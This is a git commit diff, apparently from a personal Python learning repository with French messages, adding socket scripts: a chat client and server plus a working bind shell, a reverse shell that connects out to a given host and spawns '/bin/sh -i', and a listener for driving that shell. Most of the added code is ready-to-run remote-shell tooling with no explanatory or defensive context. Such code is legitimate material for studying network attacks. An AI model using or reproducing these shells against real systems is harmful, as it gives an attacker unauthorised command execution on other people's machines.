diff options
| author | jerome <jerome@xlinfo.fr> | 2025-10-12 17:41:43 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2025-10-12 17:41:43 +0200 |
| commit | ec8893a097a6c0fffebd7db9e4a5568a3bf4df47 (patch) | |
| tree | ffebe60c3aa98df05d14aec8cea937430272c1ec /sockets | |
| parent | ba41fa46e69dbb264dfbed1b9fca5daab44a07c7 (diff) | |
| download | python-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.tar.gz python-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.zip | |
organisation
Diffstat (limited to 'sockets')
| -rw-r--r-- | sockets/bindshell.py | 31 | ||||
| -rw-r--r-- | sockets/chat_client.py | 26 | ||||
| -rw-r--r-- | sockets/chat_server.py | 29 | ||||
| -rw-r--r-- | sockets/reverseshell.py | 18 | ||||
| -rw-r--r-- | sockets/reverseshell_listener.py | 36 |
5 files changed, 140 insertions, 0 deletions
diff --git a/sockets/bindshell.py b/sockets/bindshell.py new file mode 100644 index 0000000..5213002 --- /dev/null +++ b/sockets/bindshell.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +import sys, os, socket + +def bindshell(port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse = os.popen(data.decode().strip()).read() + conn.sendall(str(reponse).encode()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + bindshell(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un port en agument") + + + + + + + diff --git a/sockets/chat_client.py b/sockets/chat_client.py new file mode 100644 index 0000000..affc1d3 --- /dev/null +++ b/sockets/chat_client.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 + +import sys,socket,os + +def chat_client(host,port): + whoami = os.getenv("USER") + try: + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.connect((host,port)) + while True: + message = input("moi > ") + message = whoami+" > "+message # à commenter pour le bindshell + s.sendall(message.encode()) + data = s.recv(1024) + print(data.decode().strip()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_client(sys.argv[1],int(sys.argv[2])) + except IndexError: + print(f"{sys.argv[0]} demande un hôte où se connecter et un numéro de port") + diff --git a/sockets/chat_server.py b/sockets/chat_server.py new file mode 100644 index 0000000..aecf8c9 --- /dev/null +++ b/sockets/chat_server.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 + +import sys,socket,os + +def chat_server(port): + whoami = os.getenv("USER") + try: + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + print(f"Connexion depuis {addr[0]} sur le port {addr[1]}") + while True: + data = conn.recv(1024) + print(data.decode()) + reponse = input("moi > ") + reponse = whoami+" > "+reponse + conn.sendall(reponse.encode().strip()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_server(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un numéro de port en argument") + diff --git a/sockets/reverseshell.py b/sockets/reverseshell.py new file mode 100644 index 0000000..fc7e860 --- /dev/null +++ b/sockets/reverseshell.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +import sys, os, socket + +def reverseshell(host,port): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.connect((host,port)) + os.dup2(s.fileno(),0) + os.dup2(s.fileno(),1) + os.dup2(s.fileno(),2) + os.system("/bin/sh -i") + +if __name__ == "__main__": + try: + reverseshell(sys.argv[1],int(sys.argv[2])) + except IndexError: + print(f"{sys.argv[0]} demande un hôte et un port en agument") + diff --git a/sockets/reverseshell_listener.py b/sockets/reverseshell_listener.py new file mode 100644 index 0000000..23eb39a --- /dev/null +++ b/sockets/reverseshell_listener.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import sys,socket,time + +def chat_server(port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + print(f"Connexion depuis {addr[0]} sur le port {addr[1]}") + while True: + data = conn.recv(4096) + print(data.decode(),end="") + command = input() + command += "\n" + conn.send(command.encode()) + time.sleep(0.1) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_server(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un port en agument") + + + + + + + + |
